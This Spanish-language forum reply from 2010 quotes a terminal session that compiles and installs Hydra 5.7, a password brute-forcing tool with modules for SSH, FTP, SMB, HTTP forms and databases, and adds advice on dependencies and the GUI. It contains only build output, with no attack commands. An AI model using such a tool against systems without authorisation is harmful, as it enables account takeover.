Cita:root@rogunix-pc:~/hydra-5.7-src# ./configure

Starting hydra auto configuration ...

Checking for openssl (libssl/ssl.h) ...
... found
Checking for Postgres (libpq.so) ...
... NOT found, module postgres disabled
Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...
... found
Checking for firebird (libfbclient.so) ...
... NOT found, module firebird disabled
Checking for NCP (libncp.so / nwcalls.h) ...
... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/l.../index.asp
Checking for libssh (libssh/libssh.h) ...
... NOT found, module ssh2 disabled
Get it from http://www.libssh.org
Checking for GUI req's (pkg-config) ...
... found

Hydra will be installed into .../bin of: /usr/local
(change this by running ./configure --prefix=path)

Writing Makefile.in ...
now type "make"
root@rogunix-pc:~/hydra-5.7-src# make
gcc -I. -Wall -O2 -o pw-inspector pw-inspector.c
gcc -I. -Wall -O2 -c hydra-vnc.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-pcnfs.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-rexec.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-nntp.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-socks5.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-telnet.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-cisco.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-http.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-ftp.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-imap.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-pop3.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-smb.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-icq.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-cisco-enable.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-ldap.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-mysql.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-http-proxy.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-smbnt.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-mssql.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-snmp.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-cvs.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-smtpauth.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-sapr3.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-ssh2.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-teamspeak.c -DLIBOPENSSL
In file included from /usr/include/string.h:640,
from hydra.h:5,
from hydra-mod.h:8,
from hydra-teamspeak.c:1:
In function ‘strcpy’,
inlined from ‘start_teamspeak’ at hydra-teamspeak.c:45:
/usr/include/bits/string3.h:107: warning: call to __builtin___strcpy_chk will always overflow destination buffer
gcc -I. -Wall -O2 -c hydra-postgres.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-rsh.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-rlogin.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-oracle-listener.c -DLIBOPENSSL
hydra-oracle-listener.c:10:2: warning: #warning "The Oracle Listener module does not work yet"
gcc -I. -Wall -O2 -c hydra-svn.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-pcanywhere.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-sip.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-vmauthd.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-smtpauth-ntlm.c -DLIBOPENSSL
hydra-smtpauth-ntlm.c: In function ‘start_smtpauth_ntlm’:
hydra-smtpauth-ntlm.c:33: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-smtpauth-ntlm.c:33: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-smtpauth-ntlm.c:51: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-smtpauth-ntlm.c:51: warning: dereferencing type-punned pointer will break strict-aliasing rules
gcc -I. -Wall -O2 -c hydra-firebird.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-ncp.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-http-proxy-auth-ntlm.c -DLIBOPENSSL
hydra-http-proxy-auth-ntlm.c: In function ‘start_http_proxy_auth_ntlm’:
hydra-http-proxy-auth-ntlm.c:50: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-http-proxy-auth-ntlm.c:50: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-http-proxy-auth-ntlm.c:68: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-http-proxy-auth-ntlm.c:68: warning: dereferencing type-punned pointer will break strict-aliasing rules
gcc -I. -Wall -O2 -c hydra-imap-ntlm.c -DLIBOPENSSL
hydra-imap-ntlm.c: In function ‘start_imap_ntlm’:
hydra-imap-ntlm.c:41: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-imap-ntlm.c:41: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-imap-ntlm.c:52: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-imap-ntlm.c:52: warning: dereferencing type-punned pointer will break strict-aliasing rules
gcc -I. -Wall -O2 -c hydra-pop3-ntlm.c -DLIBOPENSSL
hydra-pop3-ntlm.c: In function ‘start_pop3_ntlm’:
hydra-pop3-ntlm.c:40: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-pop3-ntlm.c:40: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-pop3-ntlm.c:51: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-pop3-ntlm.c:51: warning: dereferencing type-punned pointer will break strict-aliasing rules
gcc -I. -Wall -O2 -c hydra-http-form.c -DLIBOPENSSL
hydra-http-form.c: In function ‘start_http_form’:
hydra-http-form.c:119: warning: format ‘%d’ expects type ‘int’, but argument 9 has type ‘size_t’
hydra-http-form.c:131: warning: format ‘%d’ expects type ‘int’, but argument 8 has type ‘size_t’
hydra-http-form.c:142: warning: format ‘%d’ expects type ‘int’, but argument 6 has type ‘size_t’
gcc -I. -Wall -O2 -c crc32.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c d3des.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c md4.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra-mod.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c ntlm.c -DLIBOPENSSL
gcc -I. -Wall -O2 -c hydra.c -DLIBOPENSSL
hydra.c: In function ‘hydra_restore_write’:
hydra.c:335: warning: format ‘%d’ expects type ‘int’, but argument 4 has type ‘long int’
hydra.c:335: warning: format ‘%d’ expects type ‘int’, but argument 5 has type ‘long int’
gcc -I. -Wall -O2 -lm -o hydra hydra-vnc.o hydra-pcnfs.o hydra-rexec.o hydra-nntp.o hydra-socks5.o hydra-telnet.o hydra-cisco.o hydra-http.o hydra-ftp.o hydra-imap.o hydra-pop3.o hydra-smb.o hydra-icq.o hydra-cisco-enable.o hydra-ldap.o hydra-mysql.o hydra-http-proxy.o hydra-smbnt.o hydra-mssql.o hydra-snmp.o hydra-cvs.o hydra-smtpauth.o hydra-sapr3.o hydra-ssh2.o hydra-teamspeak.o hydra-postgres.o hydra-rsh.o hydra-rlogin.o hydra-oracle-listener.o hydra-svn.o hydra-pcanywhere.o hydra-sip.o hydra-vmauthd.o hydra-smtpauth-ntlm.o hydra-firebird.o hydra-ncp.o hydra-http-proxy-auth-ntlm.o hydra-imap-ntlm.o hydra-pop3-ntlm.o hydra-http-form.o crc32.o d3des.o md4.o hydra-mod.o ntlm.o hydra.o -lm -lssl -lcrypto -L/usr/lib -L/usr/local/lib -L/lib -L/lib

If men could get pregnant, abortion would be a sacrament

cd hydra-gtk && ./make_xhydra.sh
Trying to compile xhydra now (hydra gtk gui) - dont worry if this fails, this is really optional ...
«src/xhydra» -> «../xhydra»
The GTK GUI is ready, type "./xhydra" to start

Now type make install
root@rogunix-pc:~/hydra-5.7-src# make install
test -e hydra.exe && touch Makefile || strip hydra pw-inspector
test -e hydra.exe && strip hydra.exe pw-inspector.exe || touch hydra
test -e xhydra && strip xhydra || touch Makefile
test -e hydra.exe && touch Makefile || cp hydra pw-inspector /usr/local/bin && cd /usr/local/bin && chmod 755 hydra pw-inspector
test -e hydra.exe && cp hydra.exe pw-inspector.exe /usr/local/bin && cd /usr/local/bin && chmod 755 hydra.exe pw-inspector.exe || touch Makefile
test -e xhydra && cp xhydra /usr/local/bin && cd /usr/local/bin && chmod 755 xhydra


Si no quieres complicarte, instala el 5.4 y luego el 5.7, asi te aseguras de tener todas las dependencias. Si aun asi continuase el error fijate en instalar las dependencias que te indicamos Gosw y yo. Suerte.


EDITO: :O acabo de ver que en esta nueva versión "xhydra" (la gui) ya funciona perfectamente, antes tenia fallos y se bugeaba bastante

[Imagen: e53.gif]
Linux Registered User #511239
(Este mensaje fue modificado por última vez en: 21-08-2010 07:35 PM por rogunix.)
21-08-2010 07:32 PM
WWW Buscar Citar




Usuario(s) navegando en este tema: 1 invitado(s)